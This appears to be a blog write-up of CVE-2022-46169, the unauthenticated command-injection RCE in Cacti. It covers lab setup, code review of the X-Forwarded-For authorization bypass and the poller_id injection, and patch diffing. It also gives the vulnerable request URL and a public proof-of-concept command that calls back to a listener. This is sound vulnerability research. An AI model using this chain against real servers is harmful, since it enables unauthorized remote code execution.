Introduction
Unauthenticated RCE in Cacti has been found and registered as CVE-2022–46169.
Version affected < 1.2.22
Cacti Unauthenticated RCE is one of the trendy CVEs last month.
Based on Greynoise (Check it here) there are three unique IPs attempted to exploit this vulnerability.
Based on Shodan’s search (check it here) Cacti is running on 4,433 servers.
What are Cacti?
Cacti is an open-source, web-based network monitoring and graphing tool designed as a front-end application for the open-source, industry-standard data logging tool RRDtool. Cacti allow a user to poll services at predetermined intervals and graph the resulting data.
Build the lab
Install the system and prerequisites
- Setup Ubuntu (I’m using Ubuntu server 20.04)
- Update the server
sudo apt update
- Install Apache & PHP
sudo apt install -y apache2 php-mysql libapache2-mod-php
- Install PHP Extensions
sudo apt install -y php-xml php-ldap php-mbstring php-gd php-gmp
- Install MariaDB
sudo apt install -y mariadb-server mariadb-client
- Install SNMP
sudo apt install -y snmp php-snmp rrdtool librrds-perl
- Configure Database
sudo vim /etc/mysql/mariadb.conf.d/50-server.cnf
Add the following at the end of the file:
collation-server = utf8mb4_unicode_ci
max_heap_table_size = 128M
tmp_table_size = 64M
join_buffer_size = 64M
innodb_file_format = Barracuda
innodb_large_prefix = 1
innodb_buffer_pool_size = 512M
innodb_buffer_pool_instances = 10
innodb_flush_log_at_timeout = 3
innodb_read_io_threads = 32
innodb_write_io_threads = 16
innodb_io_capacity = 5000
innodb_io_capacity_max = 10000
sudo systemctl restart mariadb
- PHP Configuration
sudo vim /etc/php/7.4/apache2/php.ini
date.timezone = US/Central
memory_limit = 512M
max_execution_time = 60
sudo vim /etc/php/7.4/cli/php.ini
date.timezone = US/Central
memory_limit = 512M
max_execution_time = 60
- Create Database
sudo mysql -u root -p
create database cacti;
GRANT ALL ON cacti.* TO cacti@localhost IDENTIFIED BY 'cacti';
flush privileges;
exit
sudo mysql -u root -p mysql < /usr/share/mysql/mysql_test_data_timezone.sql
sudo mysql -u root -p
GRANT SELECT ON mysql.time_zone_name TO cacti@localhost;
flush privileges;
exit
Install Cacti
- Download Cacti
wget https://files.cacti.net/cacti/linux/cacti-1.2.22.zip
unzip cacti-1.2.22.zip
sudo mkdir /opt/cacti
sudo mv cacti-1.2.22/* /opt/cacti
- Configure Database
sudo mysql -u root -p cacti < /opt/cacti/cacti.sql
sudo vim /opt/cacti/include/config.php
# make sure these values reflect your actual database/host/user/password
$database_type = "mysql";
$database_default = "cacti";
$database_hostname = "localhost";
$database_username = "cacti";
$database_password = "cacti";
$database_port = "3306";
$database_ssl = false;
- Create a crontab file to schedule the polling job.
sudo vim /etc/cron.d/cacti
# Add the following scheduler entry in the crontab so that Cacti can poll every five minutes
*/5 * * * * www-data php /opt/cacti/poller.php > /dev/null 2>&1
- Create a new site for the Cacti tool
sudo vim /etc/apache2/sites-available/cacti.conf
Use the following configuration
Alias /cacti /opt/cacti
<Directory /opt/cacti>
Options +FollowSymLinks
AllowOverride None
<IfVersion >= 2.3>
Require all granted
</IfVersion>
<IfVersion < 2.3>
Order Allow,Deny
Allow from all
</IfVersion> AddType application/x-httpd-php .php<IfModule mod_php.c>
php_flag magic_quotes_gpc Off
php_flag short_open_tag On
php_flag register_globals Off
php_flag register_argc_argv On
php_flag track_vars On
# this setting is necessary for some locales
php_value mbstring.func_overload 0
php_value include_path .
</IfModule> DirectoryIndex index.php
</Directory>
Enable the created site
sudo a2ensite cacti
Restart Apache services.
sudo systemctl restart apache2
Create a log file for Cacti and allow the Apache user (www-data) to write data into the Cacti directory.
sudo touch /opt/cacti/log/cacti.log
sudo chown -R www-data:www-data /opt/cacti/
- Visit the below URL to begin the installation of Cacti
Username: admin
Password: admin
After you log in it will ask you to change the password.
If everything is correctly configured in the past steps, it should be easy from here and just ‘next, next …etc’
Add devices and real data
in order to achieve the unauthenticated RCE you need to have real data and devices in cacti.
After we added the devices now we can proceed to test the Unauthenticated RCE.
Dynamic Analysis
The vulnerable endpoint is remote_agent.php
, try to browse it
we get this error back, and it’s important since we will use it later in the code review.
There are specific parameters that are passed after the endpoint:
- action=polldata
- host_id=3
- local_data_ids[]=6
- poller_id=1
Full link:
http://192.168.1.101/cacti/remote_agent.php?action=polldata&host_id=3&local_data_ids[]=6&poller_id=1
Basically, the poller_id parameter it’s the vulnerable parameter for command injection, however you can’t execute the command unless you guess the right numbers for host_id and local_data_ids parameters, and we will know why in the static analysis.
To produce this vulnerability I used this tool:
https://github.com/N1arut/CVE-2022-46169_POC
Before I start the tool, I enabled the proxy so I can intercept the traffic.
python cacti_exploit.py http://192.168.1.124/cacti/ 192.168.1.126 9001
now we can see the requests in Burpsuite
Now, we know what the request would look like.
Static Analysis
Let’s do some code review and see where is the vulnerability and why it’s happening.
Authorization Bypass
remote_agent.php
- Find the remote_agent.php file which is the vulnerable endpoint file.
- The first information we got from our dynamic analysis is the error message “FATAL: You are not authorized to use this service”
Search for it in the remote_agent.php file
remote_client_authorized()
- Search for ‘remote_client_authorized()’ function
The function determines if a remote client is authorized to access a resource.
- The line
global $poller_db_cnn_id;
brings the variable$poller_db_cnn_id
into the function's scope. - The line
$client_addr = get_client_addr();
calls a functionget_client_addr
which retrieves the IP address of the remote client. - The line
if ($client_addr === false) { return false; }
checks if the IP address is valid. If the IP address is not valid, the function returnsfalse
and the remote client is not authorized. - The line
if (!filter_var($client_addr, FILTER_VALIDATE_IP)) {...}
uses thefilter_var
function to validate the IP address. If the IP address is not valid, a log message is written to indicate an error and the function returnsfalse
. - The line
$client_name = gethostbyaddr($client_addr);
uses thegethostbyaddr
function to retrieve the hostname associated with the IP address. - The line
if ($client_name == $client_addr) {...}
checks if the hostname was successfully resolved. If it was not, a log message is written to indicate a failure to resolve the hostname and the function continues. - The line
$client_name = remote_agent_strip_domain($client_name);
calls a functionremote_agent_strip_domain
on the hostname to strip the domain portion from it. - The line
$pollers = db_fetch_assoc('SELECT * FROM poller', true, $poller_db_cnn_id);
retrieves the list of pollers from a database using thedb_fetch_assoc
function. The$poller_db_cnn_id
variable is passed as the third argument to this function to specify the database connection to use. - The line
if (cacti_sizeof($pollers)) {...}
checks if the list of pollers is not empty. If it is not empty, the function continues. - The code block
foreach($pollers as $poller) {...}
iterates through the list of pollers. - The line
if (remote_agent_strip_domain($poller['hostname']) == $client_name) {...}
calls theremote_agent_strip_domain
function on the hostname of each poller and compares the result with the client name obtained in step 7. If they match, the remote client is authorized and the function returnstrue
. - The line
elseif ($poller['hostname'] == $client_addr) {...}
compares the hostname of each poller with the client address obtained in step 2. If they match, the remote client is authorized and the function returnstrue
. - If none of the conditions in steps 11 and 12 are met, a log message is written indicating an unauthorized remote agent access attempt, and the function returns
false
, indicating that the remote client is not authorized.
Here I started to study each function involved in the remote_client_authorized() function.
The most interesting part is step 11 and 12 since they indicate in order to be authorized the $client_name variable or $client_addr variable have to match $poller[‘hostname’]
functions.php
Search for ‘get_client_addr’ in all files and it will be found in functions.php file.
function get_client_addr($client_addr = false)
: Defines a function namedget_client_addr
that takes an optional argument$client_addr
, which is set tofalse
by default.$http_addr_headers = array( ... )
: Declares an array$http_addr_headers
that lists the names of headers that may contain the client's IP address.$client_addr = false;
: Sets the initial value of$client_addr
tofalse
.foreach ($http_addr_headers as $header)
: Iterates over the headers in the$http_addr_headers
array.if (!empty($_SERVER[$header]))
: Checks if the current header has a non-empty value in the$_SERVER
array.$header_ips = explode(',', $_SERVER[$header]);
: If the header has a non-empty value, it splits the value into an array of IP addresses usingexplode
, with the separator being a comma.foreach ($header_ips as $header_ip)
: Iterates over the resulting array of IP addresses.if (!empty($header_ip))
: Checks if the current IP address is not empty.if (!filter_var($header_ip, FILTER_VALIDATE_IP))
: If the IP address is not empty, it checks if it is a valid IP address usingfilter_var
with theFILTER_VALIDATE_IP
filter.cacti_log('ERROR: Invalid remote client IP Address found in header (' . $header . ').', false, 'AUTH', POLLER_VERBOSITY_DEBUG);
: If the IP address is not valid, it logs an error message to a log file using thecacti_log
function.$client_addr = $header_ip;
: If the IP address is valid, it sets$client_addr
to that IP address.cacti_log('DEBUG: Using remote client IP Address found in header (' . $header . '): ' . $client_addr . ' (' . $_SERVER[$header] . ')', false, 'AUTH', POLLER_VERBOSITY_DEBUG);
: Logs a debug message to a log file using thecacti_log
function, indicating that the IP address was found and is being used.break 2;
: Exits both the inner and outer loops.return $client_addr;
: Returns the value of$client_addr
.
Since we understand the get_client_addr function, we know that the function takes the IP from the headers in the array $http_addr_headers.
We can control some headers such as X-Forwarded-For header therefore even if our IP address is not one of the allowed addresses we can add the IP address of the target server or 127.0.0.1 localhost IP address, and this will bypass the authorization.
Command injection
Since the injection takes place in the “poller_id” parameter, we can locate it in the “remote_agent.php” endpoint and comprehend how its value is being passed.
There is poll_for_data() function and inside it, we can see:
but we need to understand how the poller_id is being passed and how the poll_for_data() function is being triggered, so I started to search for the “action” parameter.
This code uses a switch
statement to handle a request based on the value of the "action" parameter. The "action" parameter is obtained using get_request_var
function.
There is 'polldata
case in the switch statement. If the value of the "action" parameter is equal to 'polldata'
, the code inside the case statement will be executed.
The code sets the maximum execution time for the script using the ini_set
function and the value of read_config_option('script_timeout')
. This ensures that the script doesn't run indefinitely.
The debug
function is called with the argument 'Start: Poling Data for Realtime'
to indicate the start of polling data. Then, the poll_for_data
function is called. After that, the debug
function is called again with the argument 'End: Poling Data for Realtime'
to indicate the end of the polling process.
Finally, the break
statement ends the switch
statement.
The issue here is that the “polldata” value and if this value is not properly filtered or validated.
With that being said, we understand how the poll_for_data function is triggered.
proc_open() executes a command, much like exec() does, but with the added ability to direct input and output streams through pipes.
Given that we have control over the $poller_id variable, an attacker can inject malicious code and there are no proper validation or security checks in place.
Also we mentioned earlier in the Dynamic Analysis that we can’t execute the command unless you guess the right numbers for host_id and local_data_ids parameters.
POLLER_ACTION_SCRIPT_PHP is to execute some action, such as gathering data from a network device or updating a database which are related to poller actions.
I was unable to locate the code that specifically explains the need for the parameters to be correct, but after examining the code and multiple files, it appears that POLLER_ACTION_SCRIPT_PHP serves as an alias for defining the action of poller_item. Therefore, it is necessary to set all the parameters correctly, which can easily be brute forced.
Patch Diffing
First, download the latest version of cacti from here:
https://www.cacti.net/info/downloads
With this online tool, I can compare two texts and see what’s different.
https://www.diffchecker.com/text-compare/
You can check the diffing between cacti 1.2.22 version and cacti 1.2.23 version from here:
https://www.diffchecker.com/DR7kCix4/
There are four differences here:
1- The error message has been removed.
2- get_nfilter_request_var function changed to get_filter_request_var function, both functions are custom functions existed in html_utility.php file.
3- Same as in the second change
4- cacti_escapeshellarg function suppose to operate in a very similar way to escapeshellarg()
escapeshellarg() adds single quotes around a string and quotes/escapes any existing single quotes allowing you to pass a string directly to a shell function and having it be treated as a single safe argument. This function should be used to escape individual arguments to shell functions coming from user input.
function cacti_escapeshellarg($string, $quote = true) {
global $config;
if ($string == '') {
return $string;
} /* we must use an apostrophe to escape community names under Unix in case the user uses
characters that the shell might interpret. the ucd-snmp binaries on Windows flip out when
you do this, but are perfectly happy with a quotation mark. */
if ($config['cacti_server_os'] == 'unix') {
$string = escapeshellarg($string);
if ($quote) {
return $string;
} else {
# remove first and last char
return substr($string, 1, (strlen($string)-2));
}
} else {
/* escapeshellarg takes care of different quotation for both linux and windows,
* but unfortunately, it blanks out percent signs
* we want to keep them, e.g. for GPRINT format strings
* so we need to create our own escapeshellarg
* on windows, command injection requires to close any open quotation first
* so we have to escape any quotation here */
if (substr_count($string, CACTI_ESCAPE_CHARACTER)) {
$string = str_replace(CACTI_ESCAPE_CHARACTER, "\\" . CACTI_ESCAPE_CHARACTER, $string);
} /* ... before we add our own quotation */
if ($quote) {
return CACTI_ESCAPE_CHARACTER . $string . CACTI_ESCAPE_CHARACTER;
} else {
return $string;
}
}
}
Mitigation
The companies can use the last version of cacti 1.2.23.
Last thoughts
This is a very interesting vulnerability since two vulnerabilities are chained together to achieve Pre-auth command injection or Pre-auth RCE.
I think a lot of research can be conducted on this software and since it’s open source, and it also interacts with the network and multiple devices this makes it even more interesting.
Resources
- https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf
- https://github.com/N1arut/CVE-2022-46169_POC
- https://github.com/sAsPeCt488/CVE-2022-46169
#CVE-2022–46169 #cacti #RCE
Comments (1)
Submit
NP
Nilson Primo4 months ago
Mitigation
The companies can use the last version of cacti 1.2.23.
Last thoughts
This is a very interesting vulnerability since two vulnerabilities are chained together to achieve Pre-auth command injection or Pre-auth RCE.
I think a lot of research can be conducted on this software and since it’s open source, and it also interacts with the network and multiple devices this makes it even more interesting.
Resources
https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf
https://github.com/N1arut/CVE-2022-46169_POC
https://github.com/sAsPeCt488/CVE-2022-46169
#CVE-2022–46169 #cacti #RCE